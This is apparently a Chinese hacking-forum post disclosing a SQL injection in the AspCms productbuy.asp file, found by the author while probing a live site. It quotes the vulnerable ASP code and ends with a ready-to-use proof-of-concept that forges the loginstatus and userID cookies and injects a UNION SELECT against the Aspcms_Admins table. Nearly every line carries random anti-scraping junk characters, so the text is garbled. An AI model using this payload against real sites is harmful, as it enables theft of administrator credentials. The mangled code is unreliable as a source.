好久没上土司了,上来一看发现在删号名单内.....9 [9 S, J) [4 R+ @/ M
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
" z: M9 ^2 x. p4 A废话不多说,看代码:
/ R' R$ i' E+ B# c3 ~0 g' X! i% `
9 F, W9 R: y: D% t5 `5 D- B<%. s; @: h, P; }, }8 r
$ }) @: Z1 t: |/ y
if action = "buy" then. L8 M! j6 o, n% B
8 O; M+ P# i8 l) l/ ?7 v1 |
addOrder()
2 G' u% n" N8 P( Y* K6 r; `5 G) k4 O. W; S9 ^' |9 S1 h- K2 h, P
else& Y" H0 M) d& \
G& T% h* |) m/ t# o( F7 X echoContent()
# |7 l: Z& |" L% @! v6 Q3 I* d
end if
$ }2 ?6 O+ |) Q# _' R& Q: V! i; h" s; l
9 H, L, ]% k% h2 D+ L
7 d' p- ]' P, G' A$ f; b) M0 Z4 F/ Q……略过
. ?7 D2 @# I2 ^8 s# c. _
$ `# o; J2 n: E& ?$ ]$ X5 T/ d3 e
~" p) R# @! E, B
( w/ X; V4 b9 Y7 aSub echoContent()/ z; A1 T2 ?0 z& \% }* h. e: r
* E4 h: R, v2 q, E, \ dim id. i3 `" [7 ]/ O1 K$ h7 [
- \; f! [$ _3 U, Q- d9 z: R, K( O
id=getForm("id","get")1 m6 B, u! e) Z4 R) b! ]
3 U" s$ S" y# f8 ^+ o( A% _! ?7 ~
7 ~0 w$ d. j1 }* c; `4 c& a- z7 A: G2 \9 r$ h# L2 b
if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
( m9 N) z/ n' V$ G3 S$ A8 P
* t6 t$ o* j/ ?5 z& H
6 L( I+ ^6 Z; A/ p
6 S" M6 g0 M, @; O" x/ z dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
% N1 Y3 ~+ H9 i6 p% b Q
. I8 ]# @& g# G% I0 L dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct, l6 k5 H) K; M6 h8 `5 f$ o- J
: f8 V) b; o% V; W( w- L
Dim templatePath,tempStr, w9 U* p m. s6 T- j J, x ]: c: r
6 u8 I( D/ D& w templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
1 b+ N2 \. @5 f* z6 z/ z+ t: N& Z, n$ u4 b
; z" j8 X1 j+ p! w
3 t6 G' ~: f* Z+ V2 G- } ?* Q set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
! @% I2 z7 b' v9 |; m5 @0 v1 q/ W) ~) l- k; L- g
selectproduct=rsObj(0)
1 b, |; @7 p; s! ~+ _" N
: M1 _8 d: s8 Q4 a3 P
0 A" O5 u# S3 N. I5 i, U" o3 M3 `' v7 T
1 k" I6 \2 ^2 z$ T8 t Dim linkman,gender,phone,mobile,email,qq,address,postcode
8 @) T0 u+ q: M. Z) m
+ @" Y3 `8 A7 `; ?5 J# r% R% Z! z ` if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
: I# _5 b* _9 Y$ j; w" j
' `8 o* n6 B4 f$ a+ a! M6 D, v if rCookie("loginstatus")=1 then
; o# |& h; s9 J# I$ f- x# g& z0 ]+ i- O$ z
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
3 R) G6 d' h1 A- T7 ^4 F; t! W3 v
linkman=rsObj("truename")
3 D1 q- B+ {+ O* ]' W: P! ?& ^& Q' k; K u# {$ C; y
gender=rsObj("gender"); X8 Q1 v; S1 H x1 V
2 \1 X% n+ _) p, D6 I8 w5 W' S, b phone=rsObj("phone")
. X! t* ~2 L Z; E9 e7 X, U, w$ m9 \6 z2 d# g6 \/ F' B
mobile=rsObj("mobile")' ?7 B3 k! U/ P+ ?6 `
: O* H/ ]( K$ S
email=rsObj("email")
4 n7 M/ e2 b& ~3 A3 M9 a |+ A, m T& c+ e- U# U) U
qq=rsObj("qq")% V9 {& i) ^- a) S( b
. P8 b+ {$ K8 X* S4 E" F, _3 L7 R! w
address=rsObj("address")! j# q, `7 F0 l8 [
/ Q& Q- X" s$ l; m% F# ?5 y( t postcode=rsObj("postcode")
( B+ q: d. b) {" U; `
( J7 s$ C9 d8 O5 t else 8 L" F8 A. t$ H/ g |% I& d; d9 u* O
# x; G1 n) q* c5 ?6 |2 t* i
gender=1
/ |) x" p) G# ], [+ Q2 _* S M8 X7 t# ^! g8 i3 D6 n5 [
end if
( _3 u- c' w8 z
/ _7 O% b! r9 w/ ^6 }1 \. G6 k rsObj.close()& n0 o/ V3 Y# ^5 j+ t0 A3 _2 U9 V
+ h; X9 E: ^: ?- ]
9 F& {1 ~0 a$ T/ d# f, @6 i
4 w, h! R5 h: }5 Z; I% Q with templateObj ( x( e, T, u: @ e. C, U7 P+ |
% o' z: N" J4 i. V .content=loadFile(templatePath)
" V6 C0 y# m0 \+ J7 D9 b1 u
: _' |. c* j, \/ l9 h) \0 n .parseHtml()
: M! o: k0 Z, R1 R5 X8 W
* w) e# V6 @) {1 Y3 L2 F1 C: G D .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)- a0 h- N5 y( H6 C b' b/ ?9 X5 g
3 j6 O, q- Y; \ W+ b, x
.content=replaceStr(.content,"[aspcms:linkman]",linkman) b& q6 u. W7 v8 g, b0 F, z
) L3 B; Q# @8 [0 \4 f' J. K .content=replaceStr(.content,"[aspcms:gender]",gender)
" g) R# v% J% `, h7 s4 \- P3 X6 a$ |+ J* k/ T) x, l
.content=replaceStr(.content,"[aspcms:phone]",phone)
9 p, M1 S4 E$ n5 B |5 u: C6 h
' ~& ^2 M; t( q8 K R .content=replaceStr(.content,"[aspcms:mobile]",mobile) . m5 L/ D8 h9 m/ x
. u0 C& F6 m; [, l; a, N
.content=replaceStr(.content,"[aspcms:email]",email) ; A$ ~7 E3 \% W$ E7 h! B, b: |
' i) t$ W9 Q/ `$ w0 f8 S( y h
.content=replaceStr(.content,"[aspcms:qq]",qq)
# E. `; ?- V0 Z' `) R5 t J, R. c9 U
.content=replaceStr(.content,"[aspcms:address]",address) / u. m: s0 o0 D u' I
+ c: X2 Q' B, h% _8 y' }( M .content=replaceStr(.content,"[aspcms:postcode]",postcode)
2 Z6 ~: Z& x9 c# v# n
W; s& y$ Q: a' j, b) Q .parseCommon() 9 B) Q V; H4 W% t: S
8 ^- i" {) \; O1 b% o
echo .content 7 X- m% V- b: p) s
1 v i. x4 T; ^ t3 ] O( l5 g end with
1 L; |3 F5 s! T: U# \, j% {8 d7 `. l
; {- h' J- P+ W- T set templateobj =nothing : terminateAllObjects5 D" I/ I( c- }# E/ Y
7 \$ T7 W9 ^, y; U* _
End Sub
; n6 o% R% W) u# S2 E5 O漏洞很明显,没啥好说的) Y& ^' R0 v ^
poc:, t2 d0 q' @. f/ F7 b1 ~
' \- m, p% P4 ?2 g
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子0 Y. h! y6 H f8 k
* G5 E6 L; s8 @* s
|